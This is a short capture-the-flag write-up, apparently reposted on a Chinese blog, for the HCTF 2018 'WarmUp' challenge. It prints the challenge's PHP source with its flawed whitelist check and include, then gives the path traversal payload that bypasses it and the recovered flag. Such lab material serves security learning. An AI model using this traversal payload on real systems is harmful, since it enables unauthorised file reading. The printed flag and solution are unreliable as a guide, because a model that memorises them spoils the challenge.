当前位置:网站首页>[HCTF 2018]WarmUp
[HCTF 2018]WarmUp
2022-06-21 18:48:00 【Platinum Feng】
[HCTF 2018]WarmUp_BUUCTF

Get into source.php
Here are some Inline code slice .
// An highlighted block
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
Get into hint.php
Here are some Inline code slice .
// An highlighted block
flag not here, and flag in ffffllllaaaagggg
// An highlighted block
mb_strpos($page . '?', '?')
$_REQUEST['file'])
http://83b75fb1-65e3-4f04-8933-41d3533c7e2e.node4.buuoj.cn:81/
?file=source.php?
../../../../../ffffllllaaaagggg
flag{
4794b1d6-e0c2-4a6d-a5e9-d4025a55b5b2}
边栏推荐
- Node模块管理描述文件
- 使用ip怎么申请ssl证书
- MarkDown高级语法,兼容MarkText
- With mitmdump, don't throw it away, Charles
- Typescript的通用类型检查
- 8. get directory function / get file function -dir / -notdir
- 9. suffix and prefix functions -suffix basename addsuffix addprefix
- TypeScript对象类型
- Initialization of typescript class objects
- Character processing of node
猜你喜欢

8. get directory function / get file function -dir / -notdir

Node的全局安装

Start! Alibaba programming summer 2022

产品图文列表说明布局样式

Lei Jun's hundreds of billions of mistakes?

C3—Qt实现五子棋小游戏(一)2021.11.07

Cookie与Session

大学物理第9章·振动

Canvas球体粒子变幻颜色js特效

Must the database primary key be self incremented? What scenarios do not suggest self augmentation?
随机推荐
力扣141.环形链表
In the new season, China Super League and Guoan are moving forward amid thorns
Compound type of typescript
网络爬虫开发工具:Screaming Frog SEO Spider
Day11QPainter2021-09-26
Type checking for typescript
Canvas动态网状背景js特效
equals空指针异常
Node输出方式
剑指Offer 56. 删除链表的重复节点
摩尔投票法
协同过滤(Collaborative Filtering)
Deep Copy
MarkDown高级语法,兼容MarkText
C1—Qt实现简易计算器的思路2021.10.15
SVG+Canvas粒子动态效果
数据库主键一定要自增吗?有哪些场景不建议自增?
大学物理第9章·振动
Typescript的构造方式
Basic data type and structure data type of TS